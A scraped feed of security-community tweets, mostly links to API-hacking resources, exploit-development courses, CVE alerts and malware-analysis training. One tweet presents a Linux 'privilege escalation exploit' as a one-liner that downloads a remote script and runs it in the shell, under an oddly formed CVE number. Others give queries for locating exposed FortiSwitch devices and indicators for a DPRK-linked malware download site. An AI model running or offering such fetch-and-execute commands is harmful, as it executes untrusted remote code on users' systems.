M.S.A

[Tom Dörr @tom_doerr]

Hundreds of detection lists for threat hunting and SOC

https://t.co/xK1ktYUew6

[BRute Logic @BRuteLogic]

This Week on Brute Logic

PHP Null Byte Trick
https://t.co/iILgjLW0rD

Brute One Web Search
https://t.co/6FShJIW7eB

SSRF Polyglots
https://t.co/uu5oAgIWtN

WP CSRF Template
https://t.co/YXF6ST8qqZ

JWT NoAlg Bypass
https://t.co/o2gUFaJwMS

#BugBounty #PenTesting #WebAppSec

[TheOuts1derX @TheOuts1derX]

API Hacking for bug bounty hunters:

Knowledge base

- OWASP API Security Top 10 - https://t.co/IUVqsJHofZ
- Hacking APIs by Corey J Ball - https://t.co/pjyfnTdUnh
- Black Hat GraphQL by Aleks & Farhi - https://t.co/9RpnPKsqwK
- OWASP API Security Cheat Sheet - https://t.co/woqtoYQdMW
- Inon Shkedy's 31 Days of API Security Tips - https://t.co/bMloymWcja

Training

- APIsec University (free) - https://t.co/AMr5DO57uG
- PortSwigger Web Security Academy - https://t.co/T96FawbxKM
- HackTheBox Academy API Attacks - https://t.co/T8z91yUvNs
- PentesterLab API Badge - https://t.co/qsZFW0ttEo

Vulnerable labs

- crAPI (OWASP) - https://t.co/zJwkFSwFaQ
- vAPI - https://t.co/BOWR9I2gDs
- VAmPI - https://t.co/Za7nw5wxEd
- DVGA - https://t.co/K6a0RQjKo8
- DVWS-node - https://t.co/ik6LBfhWgu
- Pixi - https://t.co/L3iWD3tiZ9
- Tiredful-API - https://t.co/7r7qPwu9lA
- Websheep - https://t.co/fK9CPnu6Xk
- OWASP Juice Shop - https://t.co/RW5wL85C6e

API specific tools

- Kiterunner - https://t.co/72mVLjb8xP
- Arjun - https://t.co/1WTBMkrCAl
- Postman - https://t.co/JcswCBmEB1
- Insomnia - https://t.co/B4SbDGnxjw
- Bruno - https://t.co/GxhsjyFwdr
- mitmproxy - https://t.co/GxCKrjHnfg
- Hetty - https://t.co/A8qlIwdRUX
- Akto - https://t.co/tfVImvmDua
- JWT_Tool - https://t.co/JE72Wkcgjw
- https://t.co/SWlcnfflYo - https://t.co/bFPMDK3Onk
- Clairvoyance - https://t.co/T6mevmnQdB
- InQL - https://t.co/UDWOyjL2zt
- Param Miner - https://t.co/NAoFiYHhqw
- Swagger-EZ - https://t.co/y5i2BeKz1C

Checklists and methodology

- hAPI Hacker - https://t.co/Ll4DeUOkrN
- HackTricks API Pentesting - https://t.co/PABVfJqcV1
- API-Pentesting-Resources - https://t.co/FHbwXdLS2D
- Shieldfy API Security Checklist - https://t.co/BpxGmU3Vkl

Wordlists

- SecLists - https://t.co/pQhPXSNccf
- Kiterunner routes - https://t.co/72mVLjb8xP
- Assetnote wordlists - https://t.co/LRam6JnkUR

#BugBounty #APISecurity #APIHacking #InfoSec #CyberSecurity #PenTesting #EthicalHacking #WebSecurity

[Mandiant (part of Google Cloud) @Mandiant]

The FLARE Learning Hub is launching with three modules:

- Malware Analysis Crash Course
- The Go Reverse Engineering Reference
- Introduction to Time Travel Debugging (TTD)

📟 Start learning: https://t.co/iw6SGpq9St

[SEKTOR7 Institute @SEKTOR7net]

AV/EDR Lab Environment Setup

A curated list of various resources helpful in building own malware-centric research lab.

A post by Udayveer Singh (@m4lici0u5)

Source: https://t.co/ZM3A1n1zNQ

#redteam #blueteam #maldev #malwaredevelopment

[Hacktron AI @HacktronAI]

🚨 CVE-2026-1731 🚨

Our team discovered a critical pre-auth RCE affecting BeyondTrust Remote Support & Privileged Remote Access.

SaaS/Cloud instances have been patched. If you're running self-hosted deployments, apply the patches immediately. More info in the comments.

[Geekboy @emgeekboy]

Scanning for CVE-2025-14847 (MongoBleed🩸) using @pdnuclei

If you're running MongoDB, scan your servers now.

Nuclei Template - https://t.co/Ca06eWHmYO

Vulnerability Summary - https://t.co/qJU3gl8KNH

#cybersecurity #mongobleed

[Yunus Emre Öztaş @ynsmroztas]

I've developed a professional and technical tool for Next.js (CVE-2025-55182) 🥳

I'm offering this tool, which allows you to perform both bulk and individual scans, as well as testing on live subdomains.

github;

https://t.co/6OXSyNHz2T

#DevTools #python #bugbountytip #bugbountytips #InfoSec #recon #nextjs #React2Shell

[sailay(valen) @404death]

just crafted the poc for CVE-2025-53772

https://t.co/PLmO6SM0po

[sailay(valen) @404death]

I just created the tool which can help to get NT AUTHORITY\SYSTEM from arbitrary directory creation bugs.
https://t.co/Mcv4HH2olT

[Clandestine @akaclandestine]

𝗘𝗫𝗣𝗟𝗢𝗜𝗧 𝗗𝗘𝗩𝗘𝗟𝗢𝗣𝗠𝗘𝗡𝗧 🐌

🔗 Part 1 : Intro :-
https://t.co/AHjVYNvAcu

🔗 Part 2 : Understanding Stack Memory :-
https://t.co/RnXPbpAZyG

🔗 Part 3 : Understanding Heap Memory :-
https://t.co/DwIitKVWfL

🔗 Part 4 : Understanding Binary Files :-
https://t.co/a504lhs7lE

🔗 Part 5 : Dealing with Windows PE files programmatically :-
https://t.co/j5MgycQtZc

🔗 Part 6 : Dealing with ELF files programmatically :-
https://t.co/jMty8otCIj

🔗 Part 7 : How to do magic with string format bugs :-
https://t.co/WxI5VAIsrl

🔗 Part 8 : Buffer Over-Read Attacks and Developing a Real Exploit :-
https://t.co/BFQgofxFkO

@BlueTeamKit #exploit_development #binary_exploitation #vulnerability_research #buffer_overread

[Orange Tsai 🍊 @orange_8361]

Turns out my #PHRACK article is live! 🔥

> The Art of PHP — My CTF Journey and Untold Stories!

Kinda a love letter to those CTF players & PHP nerds! Hope all the credit goes to the right ppl. Also huge thanks to @0xdea for not forgetting me, @guitmz for the edits, and the @Phrack crew for keeping it real! 🎉

https://t.co/BMCLlHti7q

[Hunter @HunterMapping]

🚨Alert🚨 CVE-2024-48887: A unverified password change vulnerability in Fortinet FortiSwitch GUI
📊 2.7K+ Services are found on the https://t.co/g3tSyh1Boc yearly.
🔗Hunter Link:https://t.co/DA4yiP7msS
👇Query
HUNTER : https://t.co/yFFcJwegJK="FortiSwitch"
FOFA : app="FortiSwitch"
SHODAN ：http.title:"FortiSwitch"
📰Refer:https://t.co/BApJ3x2RDH
https://t.co/rHK6D7BVQN
#Fortinet#hunterhow #infosec #infosecurity #OSINT #Vulnerability

[The Hacker's Choice (@[email protected]) @hackerschoice]

💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):

“. <(curl -SsfL https://t.co/W9KOA1yQ0I)”

[M.S.A @MAletaibi]

@Eyaaaad 40

[sysxplore @sysxplore]

Regular expressions essentials

[Traceix @usetraceix]

Today we are releasing our FREE educational course: "Intro to Exploit Dev"!

This course is perfect for those trying to start exploit dev and covers:
- Tooling
- Fuzzing
- Exploitation techniques
- And more!

You can take the course here: https://t.co/kejXkinsGR

[OccupytheWeb @three_cube]

OSINT: Sherlock, the Ultimate Social Media Username Reconnaissance Tool

https://t.co/2cTAT0AbPZ

[ACE Responder @ACEResponder]

Windows RPC lateral movement quick reference for defenders.

#ThreatHunting #DFIR

[0xmh1 @0xmh1]

#DPRK #CTI

installerfofo[.]kro[.]kr redirecting to open-dir --> hxxp://158.247.238[.]12/FOFO/installer1.exe

Hash of insaller1.exe: 0191091229F19899B0C150399846FCE328C3F362B6FEE4894C0C793E9C4EBA66

Related: 6d721baeffb6e3cb931460558541357940f4aec41337982277aaad7ba564204c (chrome1.vbs)

a1bd69ddf6bc05df5e4513c2e580391995cc634eb288ebe4d0c157d75c81253e (installer1.exe) --> Making use of telegram api. This file is related to yootube[.]kr which redirects to a dead-end dropbox link --> https://www.dropbox[.]com/scl/fi/zctep2ysunyxld1xt73zm/chrome1.exe?rlkey=onyfdwa0sldm04qelu5q2i5i3&st=lzvfi0xr&dl=0/file.jpg?rlkey=%3ctoken.b%3e&dl=1

Even more open-dirs to find with the following on censys:
services.banner_hashes="sha256:57db00b79f077bfc439e4410a5d922438062d2f9d5316df6b602b64a4dd9d0ad" . Thank you @eastside_nci for pointing that out!

Especially http://183.105.107[.]132 has some weird stuff with an interesting .cmd file

Has anyone seen this kind of activity, especially the insaller1.exe files? Not quite sure what family those belong to @unpacker